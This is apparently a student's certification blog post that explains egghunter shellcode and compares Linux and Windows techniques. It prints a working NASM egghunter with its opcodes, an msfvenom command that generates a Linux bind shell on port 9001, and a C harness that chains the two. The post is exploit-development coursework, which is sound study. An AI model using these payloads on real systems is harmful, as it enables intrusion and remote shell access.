Posts SLAE32 - Assignment#3 [Egghunter]
Post
Cancel

SLAE32 - Assignment#3 [Egghunter]

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#3 Github

Assignement #3

  • Study about the Egg Hunter shellcode
  • Create a working demo of the Egghunter
  • Should be configurable for different payloads

What is Egghunter?

Personally, I have dealt with Egghunter when I was studying for the OSCE course form Offensive Security. Egghunter is essentially a staged payload and is comprised with relatively short shellcode (around 30+ bytes). In a situation where the first buffer space is limited, we can implement the Egghunter shellcode there, and this will search the process memory for the much bigger buffer space where we place the signature (aka “Egg”) with our final reverse/bind shellcode.

The below image is a simplified version of how Egghunter works:

image

Egghunter In Depth

image

Even though I knew what Egghunter was and how to use it, I wanted to understand it in greater detail. So I read Matt Miller’s Safely Searching Process Virtual Address Space to learn more about Egghunter.

The following is the key take-away from the article:

  • Per the author, 8 byte egg is recommended since it can give enough uniqueness that it can easily selected without running any high risk of a collision.

Linux Egghunter Implementation

  • In Linux implementation, there are two main methods:
    • 1) SIGSEGV handler to catch invalid memory address dereferences and prevent the program from crashing
    • 2) Using OS system call interface to validate process VMAs in kernel mode.
  • In Linux implementation, the SIGSEGV handler technique has a big drawback of a size issue.

  • In Linux implementation, the fact that the system call will return the EFAULT error code when it encounters an invalid memory space is the exact type of information needed for Egghunter since it can traverse the process’ VAS without crashing the program.
Techniques (Linux)SizeExecutable EggProsCons
access39 bytesYesVery robustBigger size, Eggs should be executable, limiting the range of unique eggs
access (Improved)35 bytesNoVery robust, non-executable eggsStill a bit bigger size, Fails if Direction Flag (DF) is set
sigaction30 bytesNoFaster and smaller sizeIn certain scenarios, it may be not robust, Fails if Direction Flag (DF) is set

Windows Egghunter Implementation

  • In Windows implementation, there are also two main methods:
    • 1) SEH (Structure Exception Handler)
    • 2) OS System call (IsBadReadPtr & NtDisplayString)
Techniques (Windows)SizeExecutable EggProsCons
SEH60 bytesNoCan run on any Windows version, Can search eggs bigger than 8 bytesBigger size, Fails if Direction Flag (DF) is set
IsBadReadPtr37 bytesNoRobust (API-based approach)Use of a static VMA, Potential race condition, Fails if Direction Flag (DF) is set
NtDisplayString32 bytesNoSmallest, Fastest, Most robustStatic system call number, Fails if Direction Flag (DF) is set

Egghunter Shellcode

For demonstration purposes, I will be using the Linux implementation of access() syscall version to build the Egghunter payload. Let’s create the following egghunter.nasm file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
global _start

section .text

_start:
        mov ebx, 0x50905090     ; 4 byte Egg (*Little-Endian)
        xor ecx, ecx            ; Zero out ECX
        mul ecx                 ; Zero out EAX and EDX

next_page:
        or dx, 0xfff            ; Set PAGE_SIZE 4095 (0x1000)

next_addr:
        inc edx                 ; Increment by 4095 (0x1000)
        pushad                  ; Preserve all general purposes register values onto the stack
        lea ebx, [edx+4]        ; Checking if the address is readable
        mov al, 0x21            ; Set AL to syscall access() (0x21)
        int 0x80                ; Soft-interrupt to execute the syscall

        cmp al, 0xf2            ; Check for EFAULT (Invalid memory space)
        popad                   ; Restore the preserved registers
        jz next_page            ; EFAULT --> Invalid memory space --> Next page

        cmp [edx], ebx          ; Check for the address if it contains our egg
        jnz next_addr           ; If not, go back to look for our first egg 

        cmp [edx+4], ebx        ; Check for the address + 4 if it contains our second egg 
        jnz next_addr           ; If not, go back to look for our second egg

        jmp edx                 ; Both eggs are found --> JMP to EDX --> Continue execution flow

Compile + Bind Shellcode (msfvenom)

I created a simple compiler compilerX86.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Documents/SLAE32/Exam/Assignement3# python compilerX86.py -f egghunter
 
  ________  ________  _____ ______   ________  ___  ___       _______   ________     ___    ___ ________  ________         
 |\   ____\|\   __  \|\   _ \  _   \|\   __  \|\  \|\  \     |\  ___ \ |\   __  \   |\  \  /  /|\   __  \|\   ____\        
 \ \  \___|\ \  \|\  \ \  \\\__\ \  \ \  \|\  \ \  \ \  \    \ \   __/|\ \  \|\  \  \ \  \/  / | \  \|\  \ \  \___|      
  \ \  \    \ \  \\\  \ \  \\|__| \  \ \   ____\ \  \ \  \    \ \  \_|/_\ \   _  _\  \ \    / / \ \   __  \ \  \____   
   \ \  \____\ \  \\\  \ \  \    \ \  \ \  \___|\ \  \ \  \____\ \  \_|\ \ \  \\  \|  /     \/   \ \  \|\  \ \  ___  \ 
    \ \_______\ \_______\ \__\    \ \__\ \__\    \ \__\ \_______\ \_______\ \__\\ _\ /  /\   \    \ \_______\ \_______\ 
     \|_______|\|_______|\|__|     \|__|\|__|     \|__|\|_______|\|_______|\|__|\|__/__/ /\ __\    \|_______|\|_______|    
                                                                                    |__|/ \|__|     [bigb0ss] v1.0         

[+] Assemble: egghunter.nasm
[+] Linking: egghunter.o
[+] Shellcode: "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!

Additionally, using msfvenom, let’s create a bind shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Documents/SLAE32/Exam/Assignement3# msfvenom -p linux/x86/shell_bind_tcp lport=9001 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 354 bytes
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x23\x29\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

Final Touch

Finally, let’s combine those bind shellcode and egghunter to create the following exploit script egghunter.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>

unsigned char egghunter[] = \
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42"
"\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a"
"\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";

unsigned char shellcode[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50"  // Egg
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x23\x29\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

void main() {
    int (*ret)() = (int(*)())egghunter;
    ret();

    return 0;
}

image

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#3 Github

This post is licensed under CC BY 4.0 by the author.